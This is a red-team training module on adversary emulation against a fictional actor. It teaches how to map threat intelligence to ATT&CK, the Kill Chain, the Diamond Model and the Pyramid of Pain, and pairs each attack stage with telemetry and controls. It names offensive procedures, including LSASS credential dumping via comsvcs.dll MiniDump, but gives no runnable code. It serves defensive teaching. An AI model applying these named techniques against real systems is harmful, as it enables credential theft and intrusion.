Operation Cedar Lattice, Phase 01. Phase 00 gave you the authorization boundary, the Rules of Engagement, and the OPSEC plan for the engagement against Meridian Freight International. Now the work begins: Mandiant has been contracted to emulate FIN-LATTICE, a fictional financially-motivated intrusion set, end to end. This phase is the bridge from intelligence to plan — you take the CTI on FIN-LATTICE and turn it into an ATT&CK-mapped adversary-emulation plan, and you learn to read any intrusion through the three lenses every red teamer, threat hunter, and detection engineer shares.
The deliverable a real engagement produces here is not "we got domain admin." It is a narrative of the kill chain, mapped to MITRE ATT&CK, with every detection opportunity, and a plan to test them — the artifact the rest of Operation Cedar Lattice executes and the purple team replays.
Safety. Authorized-lab only. Every lab in this phase is an analyzer / planner / graph-solver / detection-mapper over synthetic metadata. There are no payloads, no live targets, no weaponization. Every offensive concept ends in its detection / break-the-chain control. This is the same boundary as the security track's
offensive-methodology-mastery/.
Why this phase exists
The other phases teach attacker techniques locally — a privilege escalation here, a Kerberoast there. What is missing without this phase is the connective tissue: how an actor chains techniques into a campaign, and the mental models that let a defender detect the chain early and break it. You cannot emulate, hunt, or defend an adversary you cannot model end to end.
Adversary emulation is also what distinguishes a Mandiant red team from a generic pentest. A pentest asks "what can be exploited here?" Adversary emulation asks "would this organization detect and stop this specific actor, and where exactly does it fail?" — and answers it by reproducing that actor's tradecraft under contract, driven by threat intelligence, scored against the client's detections. That is threat-informed defense.
Learning Objectives
By the end of this phase you can, without notes:
- Walk the attacker lifecycle end to end (reconnaissance → resource development → initial access → execution → persistence → privilege escalation → defense evasion → credential access → discovery → lateral movement → collection → command-and-control → exfiltration → impact) and name, for each stage, the goal, common techniques, the telemetry it emits, and the break-the-chain control.
- Use the three lenses correctly and know when each helps: the Cyber Kill Chain (linear campaign phases — "how far along?"), the Diamond Model (adversary / capability / infrastructure / victim, and pivoting — "what else is connected?"), and MITRE ATT&CK (the tactic → technique → procedure matrix — "what behavior, and can we detect it?").
- Place a behavior in the Mandiant Attack Lifecycle and explain how it relates to the Lockheed kill chain and to ATT&CK.
- Turn CTI on a named actor into an ordered, ATT&CK-mapped emulation plan with procedures, the telemetry each step emits, a detection idea, success criteria, and stop conditions.
- Read ATT&CK at every level — tactics, techniques, sub-techniques, procedures — and use the Navigator to express coverage and gaps.
- Explain the Pyramid of Pain and use it to choose which detections cost the adversary most.
- Distinguish adversary emulation vs simulation vs penetration test vs vulnerability scan, and run a purple-team replay that converts a detection gap into a durable detection.
The three lenses (read the WARMUP for depth)
CYBER KILL CHAIN linear campaign phases "how far along is this intrusion?" → break early
DIAMOND MODEL adversary / capability / "what else is connected to this?" → pivot & attribute
infrastructure / victim
MITRE ATT&CK tactic → technique → procedure "what behavior, can we detect it?" → coverage / gaps
They are complementary, not competing. The kill chain orders an intrusion in time; ATT&CK names the behavior at each point and ties it to detection; the Diamond Model links separate events into one campaign and drives attribution. A red teamer uses all three on every engagement.
Concepts
| Concept | What it is | Why it matters to the engagement |
|---|---|---|
| Attacker lifecycle | the staged path from recon to impact | the spine an emulation plan and a campaign narrative are sequenced along |
| Cyber Kill Chain | Lockheed Martin's 7 linear phases | the original "break-the-chain early" model; coarse but durable |
| MITRE ATT&CK | tactics → techniques → sub-techniques → procedures | the shared language; maps behavior to detection and data sources |
| ATT&CK Navigator | layer view of the matrix | expresses an actor's coverage and the defender's gaps visually |
| Diamond Model | adversary / capability / infrastructure / victim + pivoting | links events into campaigns; the engine of threat correlation |
| Mandiant Attack Lifecycle | Mandiant's loop-based lifecycle (initial compromise → maintain presence) | the vendor lens you will speak in; emphasizes the internal "loop" |
| Threat-informed defense | prioritizing defenses by real adversary behavior | why emulation beats a generic checklist |
| Pyramid of Pain | indicator types ranked by cost-to-adversary | choose detections at the TTP tip, not throwaway hashes/IPs |
| Adversary emulation | reproducing a named actor's tradecraft under contract | the job; distinct from a pentest |
| Purple teaming | red + blue collaborating to build detections | how a gap becomes a durable control the client keeps |
| CTI → emulation plan | the workflow from intel to runnable plan | the Phase 01 deliverable for FIN-LATTICE |
| Break-the-chain / detection pairing | every offensive step's matching control | what makes the offensive knowledge a defensible asset |
Labs
| Lab | Builds | Lens |
|---|---|---|
| Lab 01 — CTI-to-Emulation-Plan Builder | turn a named actor's observed ATT&CK techniques into an ordered, detection-paired emulation plan with coverage + gaps | ATT&CK + threat-informed defense |
| Lab 02 — Kill-Chain Campaign Reconstructor + Diamond Pivot | reconstruct scattered events along the lifecycle, find the furthest stage + earliest break, and pivot the Diamond Model on shared infra/capability | Kill Chain + ATT&CK + Diamond Model |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py,
adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline,
deterministic, with the detection pairing built in.
cd lab-01-emulation-plan-builder
LAB_MODULE=solution pytest -q # reference passes (14 tests)
pytest -q # your implementation after the TODOs
cd ../lab-02-killchain-campaign-reconstructor
LAB_MODULE=solution pytest -q # reference passes (16 tests)
Deliverables
- A CTI-to-emulation-plan builder that orders an actor's observed ATT&CK techniques along the lifecycle, attaches a procedure + the telemetry each emits + a detection idea + success criteria, and reports per-tactic coverage and the gaps an emulation of that single actor would leave untested.
- A campaign reconstructor that orders scattered events along the lifecycle, reports how far an intrusion got and the earliest break point with its control, and a Diamond-Model pivot that links events sharing infrastructure or capability into one campaign.
- A FIN-LATTICE emulation plan (the Operation Cedar Lattice Phase 01 artifact) and an ATT&CK Navigator layer of its coverage.
- The fluency to explain the lifecycle and the three frameworks in an interview and scope a safe emulation engagement (scope, technique selection, stop conditions, the purple-team loop).
Readings (primary sources)
- MITRE ATT&CK matrix + the ATT&CK Navigator; the Center for Threat-Informed Defense (CTID) Adversary Emulation Plans library and Atomic Red Team.
- Hutchins, Cloppert, Amin — Intelligence-Driven Computer Network Defense (the Lockheed Martin Cyber Kill Chain paper).
- Caltagirone, Pendergast, Betz — The Diamond Model of Intrusion Analysis.
- Mandiant M-Trends reports and the Mandiant Attack Lifecycle.
- David Bianco — The Pyramid of Pain.
- Red Team Development and Operations — Vest & Tubberville. MITRE D3FEND for the defensive mapping.
Common Mistakes
- Treating a CTI technique list as a plan. A list is not ordered, not procedural, and not paired with detection. The plan is the work (Lab 01).
- Confusing the three lenses or treating them as rivals. They answer different questions and are used together.
- Mapping a behavior to a tactic but never to its telemetry or detection. ATT&CK without the data source / detection is half the value — and fails this track's detection-pairing bar.
- Calling a pentest an emulation. Emulation reproduces a named actor's tradecraft, driven by intel, scored against detections. A pentest hunts whatever is exploitable.
- Chasing the bottom of the Pyramid of Pain. Blocking a hash or IP costs the adversary minutes; detecting a TTP costs them a redesign. Aim at the tip.
- Defending right. Building the impact-stage detection while ignoring the cheap initial-access break point ("defend left").
- Skipping the purple-team loop. An emulation that does not turn a gap into a durable detection delivered no lasting value.
Interview Questions
- Explain the Cyber Kill Chain, MITRE ATT&CK, and the Diamond Model — what question does each answer, and how do you use them together on one engagement?
- Walk me from CTI on a named actor to a runnable emulation plan. What is in each step?
- What is the difference between adversary emulation, adversary simulation, a penetration test, and a vulnerability scan?
- What is the Pyramid of Pain and how does it change which detections you prioritize?
- A SOC hands you 200 scattered alerts from one night. How do you reconstruct the campaign, decide how far the actor got, and choose where to break the chain?
- What is threat-informed defense, and how does a purple-team replay produce a durable detection?
- How does the Mandiant Attack Lifecycle differ from the Lockheed kill chain, and why does the "loop" matter?
(Full principal-level answers are in WARMUP.md.)
Portfolio artifact
The FIN-LATTICE adversary-emulation plan for Operation Cedar Lattice: the ordered, ATT&CK-mapped
plan (Lab 01 output) with procedures, telemetry, detection ideas, success criteria, and stop
conditions; an ATT&CK Navigator layer of its coverage and gaps; and a one-page campaign-
reconstruction narrative (Lab 02 output) showing the kill chain, the earliest break point, and a
Diamond pivot — all over synthetic metadata, no real targets, no weaponization. This is 01-emulation- plans/ in the capstone portfolio.
Guides
- WARMUP.md — the from-zero, stage-by-stage deep dive on the lifecycle, the three frameworks, ATT&CK at every level, the Pyramid of Pain, the CTI→plan workflow, and purple teaming.
- HITCHHIKERS-GUIDE.md — how to build and run an adversary-emulation plan on the owned range: pick the actor, select techniques, define procedures + success criteria + stop conditions, run Atomic-Red-Team-style tests, observe telemetry, score coverage, replay as purple team.
Warmup Guide — From Threat Intelligence to an Adversary-Emulation Plan
Zero-to-principal primer for Phase 01. It builds every concept the phase depends on from first principles: the attacker lifecycle stage by stage (goal, techniques, telemetry, break-the-chain), the three analytic lenses (Cyber Kill Chain, MITRE ATT&CK, Diamond Model), ATT&CK at every level (tactics → techniques → sub-techniques → procedures) and the Navigator, the Mandiant Attack Lifecycle, the Pyramid of Pain, the difference between emulation / simulation / pentest, the CTI→emulation-plan workflow, and purple teaming. It assumes only that you can write software and have read Phase 00's authorization boundary. By the end you can read any intrusion through all three lenses and turn intelligence on a named actor into a runnable, detection-paired emulation plan.
Safety frame (not optional). This is the attacker's playbook taught for authorized emulation and defense. Everything here reasons over synthetic metadata; every offensive concept ends in its detection / break-the-chain control. The difference between a red teamer and a criminal is authorization and intent, not knowledge (Phase 00).
Table of Contents
- Chapter 1: What Adversary Emulation Is, and Why a Named Actor Changes Everything
- Chapter 2: The Attacker Lifecycle, Stage by Stage
- Chapter 3: The Cyber Kill Chain — Break the Chain Early
- Chapter 4: MITRE ATT&CK — Tactics, Techniques, Sub-techniques, Procedures
- Chapter 5: The ATT&CK Navigator, Coverage, and Gaps
- Chapter 6: The Diamond Model and Pivoting
- Chapter 7: The Mandiant Attack Lifecycle
- Chapter 8: The Pyramid of Pain
- Chapter 9: From CTI to an Emulation Plan — the Workflow
- Chapter 10: Emulation vs Simulation vs Pentest vs Red Team vs Vuln Scan
- Chapter 11: Threat-Informed Defense and Purple Teaming
- Lab Walkthrough Guidance
- Success Criteria
- Common Mistakes and OPSEC Failures
- Interview Q&A
- References
Chapter 1: What Adversary Emulation Is, and Why a Named Actor Changes Everything
Zero background. Imagine a client — Meridian Freight International — that wants to know whether it would survive a real attack. There are several ways to answer that, and they are not the same:
- A vulnerability scan lists weaknesses a scanner can fingerprint. It answers "what is broken?"
- A penetration test has a human exploit some of those weaknesses to a goal. It answers "what can an attacker do here?"
- Adversary emulation reproduces the tradecraft of a specific, named threat actor the client actually faces — driven by threat intelligence, scored against the client's detections. It answers "would we detect and stop this adversary, and where exactly do we fail?"
What it is. Adversary emulation is a structured engagement in which the red team behaves like a chosen actor: the same tactics, the same techniques, in roughly the same order, against a consenting client, under a contract with rules of engagement. The output is not a trophy ("we got domain admin"); it is a detection-and-response assessment: a kill-chain narrative mapped to MITRE ATT&CK, with every detection opportunity the blue team had — taken or missed — and a prioritized plan to close the gaps.
Why a named actor changes everything. The moment you anchor to a named actor, three things become true:
- The technique selection stops being arbitrary. You do what FIN-LATTICE does — phish, run a loader, dump credentials, move laterally, beacon out, ransom — not a grab-bag of whatever exploits. This is threat-informed (Chapter 11): you test the defenses against the threats you actually face.
- Detection coverage becomes measurable. Because each technique maps to ATT&CK, you can score the client's coverage technique-by-technique and produce a gap map. That is the deliverable.
- The engagement is repeatable and purple-able. A named actor + ATT&CK mapping + procedures means the blue team can replay the exact behaviors later (purple teaming, Chapter 11) and confirm the gap is closed.
Under the hood — what "emulate an actor" actually requires. You need (a) CTI on the actor: an intel report or a structured profile listing its observed ATT&CK techniques and known infrastructure/ tooling; (b) a way to order those techniques into a campaign (the lifecycle, Chapter 2); (c) a procedure for each (what you actually run on the owned range); (d) the telemetry each emits and a detection idea (the pairing); and (e) success criteria and stop conditions. Lab 01 is exactly the engine that turns (a) into (b)+(c)+(d)+(e).
Engagement significance. This is the Mandiant red team's core product and the reason the Operation Cedar Lattice engagement exists. Everything downstream — the privesc, the AD path, the C2 — is in service of emulating FIN-LATTICE faithfully enough to test Meridian's detections.
Misconception to kill now. "Emulation means I copy the actor's exact malware." No — you reproduce the actor's behaviors (TTPs), safely, on an owned range, often with different tooling. The point is the behavior the sensor sees, not possessing the actor's binary. Copying a hash tests nothing durable (Chapter 8).
Chapter 2: The Attacker Lifecycle, Stage by Stage
Zero background. A real intrusion is not one action; it is a sequence of stages, each with its own goal. Whether you call the stages "kill-chain phases" (Chapter 3), "ATT&CK tactics" (Chapter 4), or "Mandiant lifecycle steps" (Chapter 7), the shape is the same: get in, run code, stay in, get more power, move around, take what you came for, leave or destroy. Memorize the shape once and every framework is a re-labeling of it.
Here is the unified lifecycle this phase uses — the ATT&CK Enterprise tactic order, which the labs
encode as TACTIC_ORDER. For each stage: the goal, representative techniques, the telemetry
it emits, and the break-the-chain control.
| # | Stage (tactic) | Goal | Representative techniques | Telemetry it emits | Break-the-chain control |
|---|---|---|---|---|---|
| 0 | Reconnaissance | learn about the target | active scanning (T1595), gather identities (T1589) | perimeter flow logs; brand-monitoring; lookalike domains | attack-surface reduction; scan detection; typosquat monitoring |
| 1 | Resource Development | build the kit/infra | acquire infrastructure (T1583), develop capabilities | passive DNS; cert-transparency; new-domain feeds | newly-registered-domain + new-cert correlation |
| 2 | Initial Access | get the first foothold | phishing (T1566), exploit public app (T1190), valid accounts (T1078) | mail-gateway metadata; WAF logs; first child process | phishing-resistant MFA; SPF/DKIM/DMARC; patch velocity; WAF |
| 3 | Execution | run attacker code | command/scripting interpreter (T1059) | Sysmon EID 1 (process create); PowerShell 4104 | app allowlisting; EDR; script-block logging |
| 4 | Persistence | survive reboots/logouts | scheduled task (T1053), autostart (T1547) | EID 4698 (task create); Sysmon EID 13 (Run-key) | baseline + alert on new tasks / Run-key writes |
| 5 | Privilege Escalation | gain higher rights | exploitation for privesc (T1068) | process-create + integrity-level change; crash telemetry | patching; least privilege; elevation-chain analytics |
| 6 | Defense Evasion | avoid detection | process injection (T1055) | Sysmon EID 8 (remote thread); RWX memory; ETW | EDR memory/behavioral detection; cross-process-thread alert |
| 7 | Credential Access | steal secrets | OS credential dumping (T1003), Kerberoast (T1558) | Sysmon EID 10 (LSASS handle); EID 4769 (TGS, RC4) | Credential Guard; LSASS PPL; managed service accounts |
| 8 | Discovery | map the environment | file/dir discovery (T1083) | discovery-binary process-create; file-access auditing | honey-files; breadth-first enumeration analytics |
| 9 | Lateral Movement | reach other hosts | remote services (T1021), alt-auth (T1550) | EID 4624 type 3 logon; SMB/RDP/WinRM flows | segmentation; LAPS; internal MFA; lateral-movement analytics |
| 10 | Collection | stage the loot | data from local system / shares | file-access bursts; archive-tool execution | DLP on staging; alert on mass archive creation |
| 11 | Command & Control | remote-control the foothold | application-layer protocol C2 (T1071) | proxy/DNS logs; JA3/JA4; beacon periodicity | egress allowlist; beacon detection; TLS-fingerprint analytics |
| 12 | Exfiltration | take the data out | exfil over web service (T1567) | proxy logs; DLP egress; large upstream bytes | egress control; DLP; upload-volume anomaly |
| 13 | Impact | the objective (ransom/destroy) | data encrypted for impact (T1486) | mass file-rename; VSS deletion (EID 524) | offline tested backups; canary files; VSS-delete alert |
Why the order matters. Two reasons. First, a plan must read as a campaign — you cannot
"emulate impact" before "initial access." Second, "defend left." A control at a low-order stage
prevents everything downstream. Stopping the phish (stage 2) prevents the credential theft, the lateral
movement, and the ransom (stages 7, 9, 13). A control at the impact stage only limits the damage of an
attack you already lost. The cheapest disruption is always the earliest placeable stage in the
observed chain — which is exactly what earliest_break computes in Lab 02.
Under the hood — stages are goals, not steps. A real actor does not march stage 0→13 once. It loops: discovery → credential access → lateral movement → discovery again on the new host. Some stages repeat; some are skipped (a stolen valid account skips "exploit"). The lifecycle is the set of goals, ordered by typical earliest occurrence, not a strict script. The Mandiant lifecycle (Chapter 7) makes that loop explicit.
Misconception to kill now. "ATT&CK tactics are sequential steps you do once." They are goal categories. An intrusion visits some, repeats some, and skips some. The ordering in the labs is a modelling convenience (so a campaign has a canonical narrative), not a claim that real actors are linear.
Chapter 3: The Cyber Kill Chain — Break the Chain Early
Zero background. In 2011, Lockheed Martin published Intelligence-Driven Computer Network Defense, introducing the Cyber Kill Chain: a model of an intrusion as seven linear phases, borrowed from a military targeting concept (the "kill chain" of find → fix → track → target → engage → assess).
The seven phases:
1. Reconnaissance research the target
2. Weaponization pair an exploit with a deliverable (e.g., a malicious doc)
3. Delivery transmit the weapon (email, web, USB)
4. Exploitation trigger the vulnerability / user action
5. Installation install the implant / establish footing
6. Command & Control open the remote-control channel
7. Actions on Objectives do the thing (exfil, destroy)
Why it exists. Before the kill chain, defense was indicator-centric ("block this bad IP"). The kill chain reframed defense as disrupting a process: the attacker must complete every phase to succeed, so the defender only has to break one. And — the model's central insight — breaking an early phase is cheaper and prevents more. Stop delivery and there is no exploitation, no installation, no C2, no impact. This is the original statement of "defend left."
Under the hood — the "courses of action" matrix. The Lockheed paper pairs each phase with six defensive actions: detect, deny, disrupt, degrade, deceive, destroy. The intellectual move is that for every phase you can ask "how do I detect it? how do I deny it?" — turning a linear attack into a grid of defensive opportunities. A red team report's gap matrix is a direct descendant of this idea.
Telemetry / detection. Each phase emits something: reconnaissance shows up as scanning in flow logs; delivery as a message at the mail gateway; C2 as beaconing in proxy logs. The kill chain's job is to remind you that every phase is a detection opportunity — you are never limited to catching the final action.
Engagement significance. The kill chain is the coarse, durable, executive-friendly lens. When you brief a CISO, "the attacker reached Actions on Objectives; we had detection opportunities at Delivery and C2 that fired late" is instantly legible. Its weakness is granularity: "exploitation" is one box, where ATT&CK has hundreds of techniques. So you use the kill chain for the narrative arc and ATT&CK for the behavioral detail.
Misconception to kill now. "The kill chain is obsolete; ATT&CK replaced it." No — they are different resolutions of the same picture. The kill chain gives you the seven-phase arc for storytelling and the "break early" principle; ATT&CK gives you the technique-level map for detection. Mature teams use both. (The "Unified Kill Chain" attempts to merge them into 18 phases; know it exists.)
Chapter 4: MITRE ATT&CK — Tactics, Techniques, Sub-techniques, Procedures
Zero background. ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge), published by MITRE, is a curated, evidence-based knowledge base of how real adversaries behave, organized as a matrix. It is the lingua franca of red, blue, and threat-intel teams: when you say "T1003," everyone means the same behavior.
The four levels — this is the spine of the whole phase:
TACTIC the adversary's GOAL "credential access" (the WHY)
└ TECHNIQUE a way to achieve the goal "OS Credential Dumping" T1003 (the HOW, general)
└ SUB-TECHNIQUE a specific variant "LSASS Memory" T1003.001 (the HOW, specific)
└ PROCEDURE a concrete implementation "actor X used comsvcs.dll MiniDump on lsass" (the WHAT, observed)
- A tactic is a goal — the column of the matrix (Reconnaissance, Initial Access, … , Impact — the same lifecycle as Chapter 2). There are 14 in ATT&CK Enterprise.
- A technique (e.g.,
T1003 OS Credential Dumping) is a general method of achieving a tactic. - A sub-technique (e.g.,
T1003.001 LSASS Memory) is a specific variant of a technique. Not all techniques have sub-techniques; the.NNNsuffix denotes one. This granularity matters for detection: dumping LSASS memory and dumping the SAM hive are both T1003 but emit different telemetry and need different detections. - A procedure is a specific observed implementation — "FIN-LATTICE used
comsvcs.dll MiniDumpagainstlsass.exe." Procedures are what CTI reports document and what your emulation plan reproduces.
Why the levels matter for emulation. Your CTI gives you procedures; you map them up to sub-techniques/techniques to find the data source and detection; you group by tactic to order and to score coverage. The whole movement of Lab 01 is: take observed technique ids → classify each (technique + tactic + telemetry + detection) → order by tactic → group → count coverage.
Under the hood — what ATT&CK actually ships. Each technique page carries: a description, the tactic(s) it serves (a technique can belong to several tactics — e.g., Valid Accounts is both Initial Access and Persistence and Privilege Escalation and Defense Evasion), the data sources that observe it (Process Creation, Logon Session, Network Traffic, …), detection guidance, mitigations (M-codes mapping to D3FEND), and procedure examples from named groups. ATT&CK is distributed as a STIX 2.1 bundle you can parse programmatically (the Lab 01 "extensions" do exactly this).
Telemetry / detection — the data-source pivot. ATT&CK's most useful property for a red teamer who
must ship detections is the data source field. It tells you, for any technique, what sensor would
see it. T1003.001 (LSASS Memory) → data source Process: OS API Execution / Process Access → in
practice, Sysmon EID 10 (a handle opened to lsass.exe with suspicious access rights). That chain
— technique → data source → concrete log event → detection rule — is the heart of detection
engineering, and the reason every CORPUS row in the labs carries a telemetry field next to the
detection field.
Engagement significance. ATT&CK is the common language of the entire engagement. The emulation plan is an ATT&CK layer; the report's gap matrix is an ATT&CK layer; the purple-team replay is scored per ATT&CK technique. If you cannot read all four levels fluently, you cannot do this job.
Misconception to kill now. "A technique maps to exactly one tactic." False — many techniques serve several tactics. The labs simplify to one tactic per technique for a clean lifecycle ordering; real ATT&CK is multi-tactic, which is why the Lab 01 limitations note flags it and the STIX extension fixes it.
Chapter 5: The ATT&CK Navigator, Coverage, and Gaps
Zero background. The ATT&CK Navigator is a free web tool that renders the ATT&CK matrix as a grid you can color and annotate — a "layer." Each cell is a technique; you assign it a score/color and comment. Layers are JSON; you can generate them programmatically.
Why it exists. A flat list of techniques ("FIN-LATTICE uses T1566, T1059, …") is hard to reason about. Painted onto the matrix, it becomes a picture: you instantly see which tactics the actor exercises and — crucially — which it does not. Overlay your detection coverage (green = we detect, red = we are blind) and the picture becomes a gap map.
The two questions a layer answers:
- Coverage — "what does this actor do?" (Lab 01
tactics_covered,coverage_summary). A techniques-per-tactic count is the simplest coverage view: it shows where the actor concentrates. - Gaps — "what would we not test if we only emulate this actor?" (Lab 01
coverage_gaps). If FIN-LATTICE never does discovery in your CTI, an emulation of FIN-LATTICE alone never tests your discovery detections. That is a blind spot in your assessment, distinct from a blind spot in your defense — and naming it is a staff-level move.
Under the hood — comparing layers. Navigator supports layer arithmetic: overlay actor A and actor B to see shared techniques (prioritize those — they defend against the most threats); subtract "techniques we detect" from "techniques this actor uses" to get the detection gap; intersect two groups to build a threat-informed prioritization. The CTID "Top ATT&CK Techniques" methodology is a formalization of this.
Telemetry / detection. A coverage layer is only honest if it distinguishes three states:
DETECTED the data source is collected AND a rule fires → green
VISIBLE-ONLY the data source is collected but NO rule fires → yellow (a detection gap)
BLIND the data source is NOT even collected → red (a visibility gap)
A red teamer who reports "we have no coverage of T1003" without distinguishing blind from visible-but-no-rule has given the client a worse remediation than necessary: the first costs a new sensor, the second costs a rule. The Lab 01 extension that joins the plan to a SOC data-source inventory is exactly this distinction.
Engagement significance. The Navigator layer is the portfolio artifact of Phase 01. "Here is FIN-LATTICE painted on the matrix; here is your detection coverage; here are the red cells we will test; here is the gap map after the engagement." It is the single most legible deliverable a red team produces for a security leader.
Misconception to kill now. "Green coverage means we are safe." Green means a rule exists, not that it fires reliably, low-false-positive, and gets actioned. Coverage is necessary, not sufficient; the purple-team replay (Chapter 11) is what validates that green is real.
Chapter 6: The Diamond Model and Pivoting
Zero background. The Diamond Model of Intrusion Analysis (Caltagirone, Pendergast, Betz, 2013) models a single malicious event as four connected vertices:
ADVERSARY
/ \
INFRASTRUCTURE — CAPABILITY (the two are linked: a capability runs over infrastructure)
\ /
VICTIM
- Adversary — who is doing it (often unknown at observation time).
- Capability — the tool/malware/technique used (a loader, a RAT, an exploit).
- Infrastructure — the physical/logical resources used (a C2 IP, a domain, a redirector).
- Victim — the target (an organization, host, or asset).
Every observed event populates some of these vertices. The model's axioms are simple but powerful: for every intrusion there is an adversary; every adversary uses capability over infrastructure against a victim.
Why it exists — the analytic move is PIVOTING. The kill chain and ATT&CK describe one intrusion
in time. The Diamond Model lets you link separate events into a campaign in space by their
shared meta-features. If event A and event B used the same C2 infrastructure (203.0.113.7), they
are probably the same campaign — even if you do not yet know the adversary. If A and C share the
same loader capability (LatticeLoader), same conclusion. You pivot from one vertex to find
events sharing it. This is the engine of threat-intel correlation and the first step toward
attribution.
Under the hood — pivoting as graph connectivity. Model each event as a node; draw an edge between
two events that share a non-null infrastructure or capability value; the connected components are the
campaigns. That is exactly Lab 02's pivot: union-find over shared meta-features, returning clusters of
size ≥ 2 (a lone event has nothing to pivot to). Pivoting is transitive: if A→B share infra X and
B→C share infra X, then A, B, C are one cluster even if A and C were never directly observed together.
This is how an analyst expands from a single indicator to the whole intrusion.
event e1 (infra: mail.evil.test, capability: LatticeLoader)
event e3 (infra: —, capability: LatticeLoader) ← pivots to e1 on capability
event e4 (infra: 203.0.113.7, capability: —)
event e5 (infra: 203.0.113.7, capability: LatticeCrypt) ← pivots to e4 on infrastructure
Telemetry / detection — pivoting is a defensive weapon, not just an attacker concept. Once incident responders have one indicator (say, the C2 IP from a single beacon), pivoting on it finds every other event that touched it — so they can scope and contain the whole intrusion, not just the alert they happened to see. A defender who cannot pivot cleans one host and leaves the actor in ten others.
Engagement significance. In a red team report, the Diamond pivot explains why the blue team should connect two alerts they treated as separate. In a purple-team replay, you deliberately reuse infrastructure across stages so the blue team can practice pivoting. And in the Operation Cedar Lattice narrative, the Diamond Model is how the scattered FIN-LATTICE events become one attributable campaign.
Misconception to kill now. "Shared infrastructure proves the same adversary." It is evidence, not proof — adversaries share, rent, and hijack infrastructure; one C2 IP can host several actors over time. Pivoting generates leads; it does not settle attribution. (Lab 02's extension that infers a conflicting adversary across a cluster encodes exactly this caution.) The strongest pivot is on a TTP (top of the Pyramid of Pain), not on a reusable IP.
Chapter 7: The Mandiant Attack Lifecycle
Zero background. Mandiant — the firm running Operation Cedar Lattice — publishes its own lifecycle model, refined over thousands of real incident responses and summarized annually in M-Trends. It is the vendor lens you will speak in on this engagement.
The Mandiant Attack Lifecycle:
Initial Recon → Initial Compromise → Establish Foothold
│
▼
┌───────────────── THE INNER LOOP ─────────────────┐
│ Escalate Privileges → Internal Recon → │
│ Move Laterally → Maintain Presence │
└────────────────────── ↺ ──────────────────────────┘
│
▼
Complete Mission (exfil / impact)
Why it differs from the Lockheed kill chain — the LOOP. The Lockheed chain is linear (seven phases, once). Mandiant's key contribution is the explicit inner loop: after the foothold, the actor cycles escalate → recon → move laterally → maintain presence repeatedly, ratcheting through the environment one host and one credential at a time, until it reaches the data. This matches what real intrusions look like far better than a single linear pass.
Under the hood — why the loop matters for the defender. Because the actor loops, the defender gets many chances at the same detection. Every lateral movement is another logon event; every privesc is another integrity-level change; every "maintain presence" is another persistence artifact. A SOC that misses the first lateral move can still catch the third. The loop is also why dwell time (the time from initial compromise to detection — a headline M-Trends metric) is the number that matters: the longer the actor loops undetected, the deeper it gets.
Mapping the three frameworks together (you will be asked this in interviews):
| Mandiant step | Lockheed kill-chain phase | ATT&CK tactic(s) |
|---|---|---|
| Initial Recon | Reconnaissance | Reconnaissance, Resource Development |
| Initial Compromise | Delivery + Exploitation | Initial Access |
| Establish Foothold | Installation | Execution, Persistence |
| Escalate Privileges | (within "Actions") | Privilege Escalation, Defense Evasion |
| Internal Recon | (within "Actions") | Discovery |
| Move Laterally | (within "Actions") | Lateral Movement, Credential Access |
| Maintain Presence | C2 + Installation | Command & Control, Persistence |
| Complete Mission | Actions on Objectives | Collection, Exfiltration, Impact |
Engagement significance. When you brief Meridian, you will narrate the engagement in the Mandiant lifecycle (because that is the firm's house language and the client expects it), map each step to ATT&CK (for the technical detail and detection), and use the kill chain for the executive arc. Three lenses, one story.
Misconception to kill now. "These three models contradict each other." They are the same intrusion at different resolutions and from different houses. Knowing how to slide between them — and which to use for which audience — is a core consulting skill.
Chapter 8: The Pyramid of Pain
Zero background. David Bianco's Pyramid of Pain ranks the types of indicators you can detect or block by how much pain it causes the adversary when you do. Pain = how hard/expensive it is for the actor to change that indicator and keep operating.
▲ most pain to the adversary
┌───────────┐
│ TTPs │ tough!!! (behaviors — change = redesign the operation)
├───────────┤
│ Tools │ challenging (the actor must find/build a new tool)
├───────────┤
│ Network/ │ annoying (rotate the C2 domain/IP)
│ Host arts │
├───────────┤
│ Domain │ simple (register a new domain)
│ names │
├───────────┤
│ IP addrs │ easy (new IP in minutes)
├───────────┤
│ Hashes │ trivial (recompile → new hash instantly)
└───────────┘
▼ least pain
Why it exists. Most immature detection blocks the bottom of the pyramid — hashes and IPs — because they are easy to collect and share. But they are also trivial for the adversary to change. Block FIN-LATTICE's malware hash and it recompiles in seconds; block its C2 IP and it rotates in minutes. The pyramid's message: the higher you detect, the more durable your win and the more the adversary suffers. Detect a TTP — "any process opening a handle to LSASS with these access rights" — and the actor must redesign how it steals credentials, which is expensive and slow.
Under the hood — why TTP detection is hard but worth it. Bottom-of-pyramid indicators are exact-match (a hash either matches or not) — easy to write, easy to evade. TTP detection is behavioral — it describes what the technique does, independent of the specific binary or address. Writing it requires understanding the technique's mechanism (which is what the rest of this curriculum teaches), and it is harder to make low-false-positive. But once it works, it catches every variant of the behavior, including ones you have never seen. This is precisely why ATT&CK (which catalogs techniques, i.e., the TTP layer) is the right altitude for detection.
Connection to emulation and the labs. When you choose what to emulate and what detections to recommend, aim at the top of the pyramid. A FIN-LATTICE emulation that only checks "do we block the known hash?" tests nothing durable; one that checks "do we detect the behavior of credential dumping, lateral movement, and beaconing?" tests defenses the actor cannot trivially evade. The Lab extensions that rank steps by Pyramid level and weight Diamond pivots by indicator type encode this: a pivot on a shared TTP is a far stronger lead than a pivot on a shared IP the actor rotates daily.
Engagement significance. In the report, the pyramid justifies prioritization: "Your detections are concentrated at the IP/hash layer (easy for the adversary to defeat). We recommend investing in TTP-layer detections for credential access and lateral movement, which FIN-LATTICE cannot evade without re-engineering." That is a staff-level, business-framed recommendation.
Misconception to kill now. "More indicators = better detection." No — higher indicators are better. A thousand hashes are worth less than one solid behavioral analytic for LSASS access.
Chapter 9: From CTI to an Emulation Plan — the Workflow
Zero background. This is the chapter that ties the phase together and that Lab 01 implements. The input is CTI on a named actor; the output is a runnable, ordered, detection-paired emulation plan. Here is the full workflow.
Step 1 — Select the actor and gather CTI. Why this actor? Because the client faces it (sector,
geography, motivation). The CTI is a structured profile: the actor's observed ATT&CK techniques
(procedures rolled up to technique ids) and known infrastructure/tooling patterns. For Operation
Cedar Lattice the actor is FIN-LATTICE, with profile T1566 → T1059 → T1003 → T1021 → T1071 → T1486 (phish → execute → dump creds → move laterally → beacon → ransom — a canonical financial chain).
Sources: CTID Adversary Emulation Plans, vendor intel reports, M-Trends, the actor's ATT&CK Group page.
